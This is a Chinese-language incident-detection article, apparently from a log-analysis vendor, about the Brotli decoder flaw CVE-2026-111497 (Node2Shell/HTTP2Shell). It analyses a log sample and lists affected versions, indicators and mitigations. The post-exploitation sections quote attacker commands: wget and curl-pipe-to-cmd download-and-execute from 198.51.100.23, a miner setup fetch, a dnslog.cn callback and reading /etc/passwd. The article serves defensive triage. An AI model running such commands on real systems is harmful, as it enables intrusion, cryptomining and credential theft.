Node2Shell/HTTP2Shell 的检测比看起来更难,因为该漏洞并不限于一个产品。Node2Shell,也称为 HTTP2Shell,是 CVE-2026-111497:Google 的 Brotli C 解码器版本 1.0.3 至 1.2.0 的越界写入,CVSS 4.0 评分为 9.2。由于缺陷位于共享压缩库中,它影响到 Node.js、Python Brotli 包、Bun、curl、Envoy 以及其他解码 Brotli 的软件。
本文使用 LogTotal(一种将事件与已知威胁匹配的日志分析工具)分析的日志样本,介绍 Node2Shell/HTTP2Shell 检测。以下是漏洞背景、日志来源、LogTotal 报告内容以及如何响应。
Node2Shell (HTTP2Shell) 分析
易受攻击的代码位于 Brotli C 解码器版本 1.0.3 至 1.2.0。作为编号机构,Google 在 CVSS 4.0 下将其评分为 9.2,而 Node.js 则将其评为高危险。为了正确读取日志样本,了解漏洞如何触发、披露过程如何展开以及哪些软件版本和配置受到影响是有帮助的。
Node2Shell 的漏洞详情
声明单个块类型然后切换块的 Brotli 流未被拒绝,因此解码在无效状态下继续并写入超出缓冲区。任何解压攻击者控制的 Brotli 数据的进程都可能受到攻击,分为两个方向:
- 入站: 向解码的服务器发送经过巧妙构造的 Brotli 压缩 HTTP 请求体。
- 出站: 返回给获取它的客户端的精心构造的响应。
此漏洞有多个名称。Node2Shell 最先出现,因为 Node.js 首先披露并修复了它。HTTP2Shell 表明它几乎可以影响任何通过 HTTP 解码 Brotli 的技术栈,部分覆盖还使用了 Python2Shell 和 Broccoli2Shell。
披露和利用时间轴
| 日期(2026 年) | 事件 |
| 10 月 27 日 | CISA 将 CVE 添加到其 KEV 目录中;美国联邦机构必须在 11 月 10 日之前修补 |
| 10 月 26 日 | 此样本中记录的利用发生在 app-node-01 上 |
| 10 月 25 日 | 微软发布了 .NET 的紧急修复 |
| 10 月 22 日 | CVE 发布;在 Node.js 24.22.0 上公开展示了代码执行;Bun 1.4.4 发布 |
| 10 月 21 日 | Node.js 披露并发布了修复版;Brotli 1.0.10、1.1.1 和 1.2.1 发布 |
| 2 月 27 日 | 修复提交到 google/brotli,但无发布或公告 |
漏洞本身在 2018 年 3 月的 Brotli 1.0.3 中发布。OpenAI Codex 安全团队的 Khai Tran 和 Sylvie Mayer 将其报告给 Node.js。公开的概念证明已经存在,Imperva 和 ELLIO 都已对官方 Node.js 构建进行了代码执行,并且用于映射哪个主机解压 Brotli 的扫描器已经在使用。在 Python 包中尚未显示代码执行,尽管它们在恶意输入时会崩溃,如该样本中的 web-prod-01 崩溃所示。
Node2Shell 受影响版本和修复
| 组件 | 修复于 |
| Node.js 26.x / 24.x / 22.x | 26.12.1 / 24.22.1 / 22.23.4 |
| Node.js 20.x 及其他不再维护的版本 | 无修复;迁移到支持的版本 |
| Bun | 1.4.4 |
| Google Brotli 库 | 1.0.10, 1.1.1, 1.2.1 |
| PyPI brotli / brotlicffi | 1.2.1 / 1.2.1.0 |
| .NET runtime 8 / 9 / 10 | 8.0.33 / 9.0.22 / 10.0.14 |
| Envoy | 1.36.12, 1.37.8, 1.38.6, 1.39.3, 1.40.0 |
| Istio | 1.29.9, 1.30.6, 1.31.2 |
| Java brotli4j / Ruby brotli gem | 1.24.0 / 0.9.1 |
仅当攻击者数据可以到达解码器时,才会暴露易受攻击的版本。在 Node.js 中,通过 Express 5、body-parser 2.x、Koa body 解析器、具有请求解压缩功能的 @fastify/compress、fetch() 及直接 node:zlib Brotli 调用便可实现。在 Python 中,requests、httpx、aiohttp 和 Scrapy 在安装 brotli 或 brotlicffi 包时使用。在 .NET 中,Brotli 解压默认关闭,Envoy 和 Istio 仅在启用 Brotli 解压器时暴露。curl 仅在通过 –compressed 解码 Brotli,通过系统 libbrotli,因此需要修补的发行包;Debian 和 Red Hat 已发布修补版本。
日志来源和收集
| 属性 | 值 |
| 文件 | Node2Shell_HTTP2Shell_sample-sanitized.jsonl |
| 事件 | 11 |
| 时间窗口 | 2026 年 10 月 26 日,11:30:55 至 11:33:05 UTC |
| 架构 | ECS 风格 |
| 来源 | 4 条纯文本 Linux 内核和 systemd-coredump 消息;7 条 Microsoft Defender for Endpoint 进程创建事件 |
样本中的主机
原始数据中出现了三台主机,使用两种操作系统。每台主机显示 Node2Shell 暴露的不同部分。
| 主机 | OS | 运行时 | 日志中的活动 |
| app-node-01 | Linux | Node.js 应用程序 /opt/app/server.js | Brotli 崩溃,然后执行利用后的命令 |
| web-prod-01 | Linux | Python 进程 | 在 _brotli.cpython-311 中崩溃 |
| win-dev-01 | Windows | Node.js 应用程序 C:Usersdevuserappserver.js | 下载并执行,隐藏的 PowerShell |
检测 Node2Shell (HTTP2Shell)
LogTotal 在 5.3 秒内处理了 11 行,并对 10 行匹配了 23 个规则。它形成了 2 条链,报告了 1 条,并在 AI 验证步骤中过滤掉了 1 条。
| 判定字段 | 结果 |
| 判定 | 可疑,需要调查 |
| 严重性 | 高 |
| 置信度 | 中等 |
报告的链为 Node2Shell / HTTP2Shell 是一个关键漏洞(CVE-2026-111497):高,100% 匹配,触发了 2 个规则。它位于一个化名主机上,时间为 11:30 至 11:31 UTC 窗口,与 app-node-01 匹配。
漏洞利用:Brotli 解码器崩溃
规则“可能的 CVE-2026-111497 (HTTP2Shell / Node2Shell) 利用尝试–Brotli 解码器本机崩溃”匹配节点在 libbrotlidec.so.1.1.0 中段错误。核心转储堆栈由 BrotliDecoderDecompressStream 顶部。
该报告将此崩溃映射为拒绝服务 (T1499.004),这是影响阶段的来源。规则的最后一次命中时间为 11:33,正好在 web-prod-01 上的 _brotli.cpython-311 上的 python3 崩溃,这显示了同一个库在第二个运行时中失败。
Linux 上的利用后操作
“可疑的 NodeJS 子进程 [Linux]” 触发了 4 次,当节点 /opt/app/server.js 生成时:
- curl 获取公共 C3Pool XMRig 挖矿设置脚本
- wget http://198.51.100.23:3000/s.sh
- ping -c 1 5axzi7.dnslog.cn,一个带外回调检查
- cat /etc/passwd
Windows 上的后利用操作,在链外
样本的 Windows 部分位于报告链之外,但值得同等关注。在 win-dev-01 上,node.exe 生成 cmd.exe /c “curl -s https://198.51.100.23/api/w | cmd”,一个下载并执行模式,然后是一个隐藏的 powershell.exe 运行 whoami。
触发此活动的规则包括可疑的 NodeJS 子进程 [Windows]、通过 Cmd.EXE 从 Stdin 读取内容和可疑的 PowerShell Cmdlets。被过滤的链,Meet AvisLoader:一个旨在经受住拆除的 Windows 加载器(高),是由 curl 执行驱动的。
此样本中的 Node2Shell 指示器
| 指示器 | 类型 | 上下文 |
| 198.51.100.23 | IP | s.sh (端口 3000) 和 /api/w (HTTPS) 的负载主机 |
| http://198.51.100.23:3000/s.sh | URL | 通过 wget 在 app-node-01 上获取的脚本 |
| https://198.51.100.23/api/w | URL | 通过 cmd 在 win-dev-01 上传输 |
| 5axzi7.dnslog.cn | 域名 | 通过 ping 进行带外回调 |
| C3Pool XMRig 挖矿设置脚本 | 下载 | 通过节点从 curl 获取 |
| 带有 BrotliDecoderDecompressStream 的 libbrotlidec.so.1.1.0 在堆栈中 | 崩溃特征 | Node.js 利用尝试 |
| _brotli.cpython-311 崩溃 | 崩溃特征 | Python 利用尝试 |
| 节点/node.exe 生成 curl、wget、ping、cat、cmd.exe、powershell.exe | 进程谱系 | 利用后操作 |
在 Node2Shell 分类中使用 LogTotal 的发现
从报告的链开始确认在 app-node-01 上的利用,然后处理链外的每个发现。在此样本中,链外规则和过滤链指向另外两个受影响的主机,即 web-prod-01 和 win-dev-01。
Node2Shell (HTTP2Shell) 缓解
仅修补 Node.js 并不能关闭 Node2Shell,因为漏洞位于共享的 Brotli 解码器中。所有解码 Brotli 的运行时或代理都需要更新,样本中的每个主机都需要在范围内。
修补每个 Brotli 消费者
- 查找 Node.js 低于 22.23.4、24.22.1 或 26.12.1 的服务,以及在不再支持的 Node.js 版本或 Bun 低于 1.4.4 的服务,包括基础镜像和构建主机。
- 首先修补解压请求体的服务(Express 5、body-parser 2.x、Koa body 解析器、@fastify/compress),获取用户提供的 URL,或将不受信任的数据传递给 node:zlib Brotli 函数。
- 升级运行时,然后重启进程并重建容器镜像,包括自包含的 .NET 软件和通过 bun build –compile 构建的二进制文件。
- 将 PyPI brotli 升级到 1.2.1 及 brotlicffi 升级到 1.2.1.0,并更新 .NET 运行时、Envoy、Istio 和发行版 brotli 包。
- 停用 Node.js 20 和其他不再支持的版本,因为它们不会收到修复。
- 在发布补丁之前,在 WAF 或代理处拒绝 Content-Encoding: br,不区分大小写,并匹配如“gzip, br”这样的列表。此方法不涵盖由 fetch() 读取的 Brotli 响应。
LogTotal 的推荐响应
- 隔离主机。
- 收集 11:30–11:33 UTC 的进程、系统和网络数据。
- 验证 Node.js 补丁级别:22.23.4、24.22.1 或 26.12.1。
- 移除未授权的二进制文件。
- 在 WAF 上拒绝不受信任的 Content-Encoding: br。
- 以非特权模式运行 Node.js。
- 在可行的情况下禁用自动 Brotli 解压缩。
来自原始证据的额外步骤
- 扩大范围 到 win-dev-01 和 web-prod-01,而不仅仅是 app-node-01。
- 从出口处阻止 198.51.100.23 和 *.dnslog.cn。
- 检查是否有矿工: cron 条目,systemd 单元,和运行的 xmrig 进程。
- 假设 /etc/passwd 已被读取 并据此审核账户。
- 搜寻 节点、node.exe 或 python3 生成的 shell、下载程序或网络工具。
持续的 Node2Shell 监控
转发内核和 systemd-coredump 消息以及 EDR 进程事件。在此样本中,coredump 堆栈是唯一直接的漏洞利用证据,EDR 事件携带了之后发生的一切。
FAQ
什么是 Node2Shell (HTTP2Shell) 及其工作原理?
Node2Shell,也称为 HTTP2Shell,是 CVE-2026-111497:Google 的 Brotli C 解码器,版本 1.0.3 至 1.2.0 的越界写入,CVSS 4.0 评分 9.2。精心构造的 Brotli 数据可以使解压它的任何进程崩溃,并且在 Node.js 中已显示可以实现远程代码执行。上面的分析部分解释了其工作原理。
Node2Shell 是何时首次被发现的?
OpenAI Codex 安全团队的 Khai Tran 和 Sylvie Mayer 发现了该漏洞并报告给 Node.js。可以追溯到 2018 年 3 月的 Brotli 1.0.3。在没有发布的情况下,2026 年 2 月 27 日提交了修复,Node.js 于 2026 年 10 月 21 日披露了该漏洞。
Node2Shell 对系统有什么影响?
崩溃本身是一种拒绝服务,随后的活动显示了在易受攻击进程上下文中的代码执行。在此样本中,这意味着一个加密矿工设置脚本的下载,一个载荷提取,带外的 DNS 回调,读取 /etc/passwd 和在 Windows 主机上下载并执行。
Node2Shell 在 2026 年还会影响我吗?
是的。CVE-2026-111497 在野外被利用并列入 CISA KEV 目录。未修补的 Node.js、Bun、Python、.NET 和代理部署继续暴露,而 Node.js 20 和其他不再维护的版本将永远无法获得修复。
我如何保护自己免受 Node2Shell 的影响?
修补 Node.js 及其他所有 Brotli 消费者,重启进程并重建镜像。其间,在 WAF 或代理上拒绝 Content-Encoding: br并在可行的情况下禁用自动 Brotli 解压缩。缓解部分列出了所有详细步骤。
我如何检测 Node2Shell?
从每个 Node.js 和 Python 主机收集内核和 systemd-coredump 日志以及 EDR 进程事件。对 Brotli 解码器崩溃和运行时生成的 shell 或下载程序进行警报。LogTotal 将这些事件映射到 Node2Shell 链,但也请查看链外的发现,因为它们暴露出这里的另外两个主机。